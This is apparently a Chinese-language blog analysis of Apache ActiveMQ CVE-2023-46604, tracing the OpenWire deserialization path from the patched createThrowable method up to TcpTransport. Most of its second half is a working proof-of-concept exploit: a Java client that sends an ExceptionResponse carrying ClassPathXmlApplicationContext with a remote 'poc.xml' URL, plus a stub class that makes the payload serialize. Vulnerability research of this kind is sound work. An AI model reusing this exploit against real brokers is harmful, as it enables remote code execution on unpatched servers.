Apache ActiveMQ CVE-2023-46604 分析

首先看commit,添加了一个判断在BaseDataStreamMarshaller类的createThrowable方法中,而这个方法通过反射方式调用任意类的带有一个String类型参数的构造方法(自带spring,很容易想到ClassPathXmlApplicationContext),这里就是触发命令执行的位置

image-20240101202846303

createThrowable

1
2
3
4
5
6
7
8
9
private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return new Throwable(className + ": " + message);
    }
}

看一下这个方法在哪里被调用,定位到类中的tightUnmarsalThrowable方法,方法中定义clazz和message,分别作为className和message传入,其中生成clazz和message的dataIn和bs分别来自于参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs)
    throws IOException {
    if (bs.readBoolean()) {
        String clazz = tightUnmarshalString(dataIn, bs);
        String message = tightUnmarshalString(dataIn, bs);
        Throwable o = createThrowable(clazz, message);
        if (wireFormat.isStackTraceEnabled()) {
            if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {
                StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];
                for (int i = 0; i < ss.length; i++) {
                    try {
                        ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR
                            .newInstance(new Object[] {tightUnmarshalString(dataIn, bs),
                                                       tightUnmarshalString(dataIn, bs),
                                                       tightUnmarshalString(dataIn, bs),
                                                       Integer.valueOf(dataIn.readInt())});
                    } catch (IOException e) {
                        throw e;
                    } catch (Throwable e) {
                    }
                }
                o.setStackTrace(ss);
            } else {
                short size = dataIn.readShort();
                for (int i = 0; i < size; i++) {
                    tightUnmarshalString(dataIn, bs);
                    tightUnmarshalString(dataIn, bs);
                    tightUnmarshalString(dataIn, bs);
                    dataIn.readInt();
                }
            }
            o.initCause(tightUnmarsalThrowable(wireFormat, dataIn, bs));

        }
        return o;
    } else {
        return null;
    }
}

protected String tightUnmarshalString(DataInput dataIn, BooleanStream bs) throws IOException {
    if (bs.readBoolean()) {
        if (bs.readBoolean()) {
            int size = dataIn.readShort();
            byte data[] = new byte[size];
            dataIn.readFully(data);
            // Yes deprecated, but we know what we are doing.
            // This allows us to create a String from a ASCII byte array. (no UTF-8 decoding)
            return new String(data, 0);
        } else {
            return dataIn.readUTF();
        }
    } else {
        return null;
    }
}

查找一下哪里调用了这个方法,定位到ExceptionResponsemarshaller的tightunmarshal方法,该定义一个ExceptionResponse对象并调用setException方法,其中赋值时调用tightUnmarsalThrowable

image-20240101204828778

1
2
3
4
5
6
7
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
    super.tightUnmarshal(wireFormat, o, dataIn, bs);

    ExceptionResponse info = (ExceptionResponse)o;
    info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));

}

继续向上,定位到OpenWireFormat#doUnmarshal,顾名思义,执行反序列化,猜测是对使用OpenWire协议传入的序列化数据执行反序列化

image-20240101212953620

分析一下doUnmarshal,首先获取传入的dis的类型,根据类型调用dataMarshallers数组中对应类型的反序列化类对其进行反序列化操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public Object doUnmarshal(DataInput dis) throws IOException {
    byte dataType = dis.readByte();
    if (dataType != NULL_TYPE) {
        DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
        if (dsm == null) {
            throw new IOException("Unknown data type: " + dataType);
        }
        Object data = dsm.createObject();
        if (this.tightEncodingEnabled) {
            BooleanStream bs = new BooleanStream();
            bs.unmarshal(dis);
            dsm.tightUnmarshal(this, data, dis, bs);
        } else {
            dsm.looseUnmarshal(this, data, dis);
        }
        return data;
    } else {
        return null;
    }
}

dataMarshallers在setVersion方法创建,传入对象的版本来调用相应的工厂类方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void setVersion(int version) {
    String mfName = "org.apache.activemq.openwire.v" + version + ".MarshallerFactory";
    Class mfClass;
    try {
        mfClass = Class.forName(mfName, false, getClass().getClassLoader());
    } catch (ClassNotFoundException e) {
        throw (IllegalArgumentException)new IllegalArgumentException("Invalid version: " + version
                                                                     + ", could not load " + mfName)
            .initCause(e);
    }
    try {
        Method method = mfClass.getMethod("createMarshallerMap", new Class[] {OpenWireFormat.class});
        dataMarshallers = (DataStreamMarshaller[])method.invoke(null, new Object[] {this});
    } catch (Throwable e) {
        throw (IllegalArgumentException)new IllegalArgumentException(
                                                                     "Invalid version: "
                                                                         + version
                                                                         + ", "
                                                                         + mfName
                                                                         + " does not properly implement the createMarshallerMap method.")
            .initCause(e);
    }
    this.version = version;
}

工厂类createMarshallerMap返回各个类型的反序列化对象的Map,对应上文OpenWireFormat#doUnmarshal方法

现在就是看他如何处理OpenWire请求

写个demo连接测试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;

public class Demo {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
        Connection conn = connectionFactory.createConnection();
        conn.start();
        Session sess = conn.createSession();
        Destination dest = sess.createQueue("tempQueue");

        MessageProducer pro = sess.createProducer(dest);
        Message msg = sess.createObjectMessage("123");
        pro.send(msg);

        conn.close();
    }
}

maven

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-all</artifactId>
    <version>5.18.2</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.19.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j-impl</artifactId>
    <version>2.19.0</version>
</dependency>

在OpenWireFormat#doUnmarshal打个断点看看

触发断点,说明在一次通信中会自动触发序列化反序列化,触发点在TcpTransport的readCommand方法

image-20240102144252175

1
2
3
protected Object readCommand() throws IOException {
    return wireFormat.unmarshal(dataIn);
}

需要传入ExceptResponse类型的数据进行触发,这里产生了问题,如何构造并发送ExceptResponse类型的数据包?

发送方面首先看一下pro.send(msg)的调用链,最终调用marshal对进行序列化

image-20240102162946212
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pro.send(msg)
	-> ActiveMQMessageProducerSupport#send(Message message)
		-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive)
			-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive, AsyncCallback onComplete)
				-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive, boolean disableMessageID, boolean disableMessageTimestamp, AsyncCallback onComplete)
					-> ActiveMQSession#send(ActiveMQMessageProducer producer, ActiveMQDestination destination, Message message, int deliveryMode, int priority, long timeToLive,
                        boolean disableMessageID, boolean disableMessageTimestamp, MemoryUsage producerWindow, int sendTimeout, AsyncCallback onComplete)
          	-> ActiveMQConnection#syncSendPacket(Command command)
          		-> ActiveMQConnection#syncSendPacket(Command command, int timeout)
          			-> ResponseCorrelator#request(Object command)
          				-> ResponseCorrelator#asyncRequest(Object o, ResponseCallback responseCallback)
          					->  MutexTransport#oneway(Object command)
          						-> WireFormatNegoiate#oneway(Object command)
          							-> AbstractInvactivityMonitor#oneway(Object o)
          								-> AbstractInvactivityMonitor#doOnewaySend(Object command)
          									-> TcpTransport#oneway(Object command)

因此可以获取TcpTransport,调用oneway绕过构造msg直接发送ExceptionResponse,而ActiveMQConnection类正好有获取TcpTransport的方法getTransportChannel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.*;

public class Demo {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
        Connection conn = connectionFactory.createConnection();
        conn.start();
//        Session sess = conn.createSession();
//        Destination dest = sess.createQueue("tempQueue");
//
//        MessageProducer pro = sess.createProducer(dest);
//        Message msg = sess.createObjectMessage("123");

        Throwable payload = new ClassPathXmlApplicationContext("http://localhost/poc.xml");
        ExceptionResponse msg = new ExceptionResponse(payload);
        ((ActiveMQConnection)conn).getTransportChannel().oneway(msg);
//        pro.send(msg);

        conn.close();
    }
}

于是就遇到问题image-20240102170352283

这边借鉴他人思路,重写ClassPathXmlApplicationContext类,使其继承Trowable类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable {
    private String message;

    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }

    public String getMessage() {
        return this.message;
    }
}

但为什么要getMessage呢?下个断点看一下,oneway中触发序列化之后,最终调用到BaseDataStreamMarshaller#tightMarshalThrowable1中,通过调用o.getMessage()来获取内容进行拼接

image-20240102181318669

这样就串起来了

Done

参考

https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

0%